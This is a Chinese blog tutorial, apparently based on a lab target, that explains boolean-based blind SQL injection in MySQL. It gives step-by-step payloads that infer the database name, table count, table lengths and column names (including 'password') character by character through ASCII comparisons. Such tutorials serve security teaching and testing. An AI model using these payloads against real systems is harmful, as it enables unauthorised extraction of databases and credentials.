盲注-布尔注入

布尔注入简介:

盲注就是在注入过程中,获取的数据不能回显至前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注

案例:按照以前的办法根本没有用,它并不会有回显界面给我们

因此,这时候需要用到盲注的攻击手段

 1、猜解数据库长度:

and length(database())>5------回显正常

and length(database())=10------回显正常

and length(database())>11------回显错误

and length(database())=11------回显错误

代表数据库有10个字符长度,我们可以通过比较来判断范围,进而确定

2、猜解数据库:and ascii(substr(database(),1,1))=115  //substr截取字符串database(),从start(1)开始截取,截取stop(1)个字符,再去看ascii码表,115代表s,那第一个字符为s

猜解第二位:and ascii(substr(database(),2,1))=116...//substr截取字符串database(),从start(2)开始截取,截取stop(1)个字符,去看ascii码表,116代表t,那第二个字符为t

以此类推,得到完整的数据库名:stormgroup

回显正常代表存在,回显页面什么都没有代表没有,比如这样:

接着,我们开始猜解表:and (select count(table_name) from information_schema.tables where table_schema=database())=2 ,我这是猜出来有两个表,具体几个还得看情况

3、猜解表长度:and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6

这说明表1有6个字符长度,接着我们猜表2,上面提到过,我们已经猜解出来有两个表了,所以接着猜解第二个:and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=6  显示正常,说明第二个表也是6个字符长度

注释:

4、猜字段的数量:and (select count(column_name) from information_schema.columns where table_name='member')=3

我们猜出来第一个表有3个字段,那么接下来该猜解字段长度了

猜第一个字段的长度:and length(substr((select column_name from information_schema.columns where table_name= 'member' limit 0,1),1))=4,代表第一个字段有4个字符长度   #回显正常

第二个:and length(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),1))=8    #回显正常

第三个:and length(substr((select column_name from information_schema.columns where table_name= 'member' limit 2,1),1))=6    #回显正常

第一个字段有4个字符的长度,第二个字段有8个字符的长度,第三个字段有6个字符的长度

知道这些,我们根据上面的方法,再去猜解字段名

猜第一个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 0,1),1,1))=110------n   回显正常

第二个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 0,1),2,1))=97------a   回显正常

第三个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 0,1),3,1))=110------n   回显正常

第四个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 0,1),4,1))=101------e   回显正常

通过ascii码得出,猜解出来第一个字段名为:name

猜解第二个字段名:

第一个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),1,1))=112-----p   回显正常

第二个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),2,1))=97-----a   回显正常

第三个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),3,1))=115-----s   回显正常

第四个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),4,1))=115-----s   回显正常

第五个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),5,1))=119-----w   回显正常

第六个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),6,1))=111-----o   回显正常

第七个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),7,1))=114-----r   回显正常

第八个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),8,1))=100-----d   回显正常

可以得知,第二个字段名为:password

第三个以此类推就好了,第二个表也一样

版权声明:本文为博主原创文章,转载请附上原文出处链接和本声明。

本文参考:MySQL手注之布尔型盲注详解-腾讯云开发者社区-腾讯云 (tencent.com)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值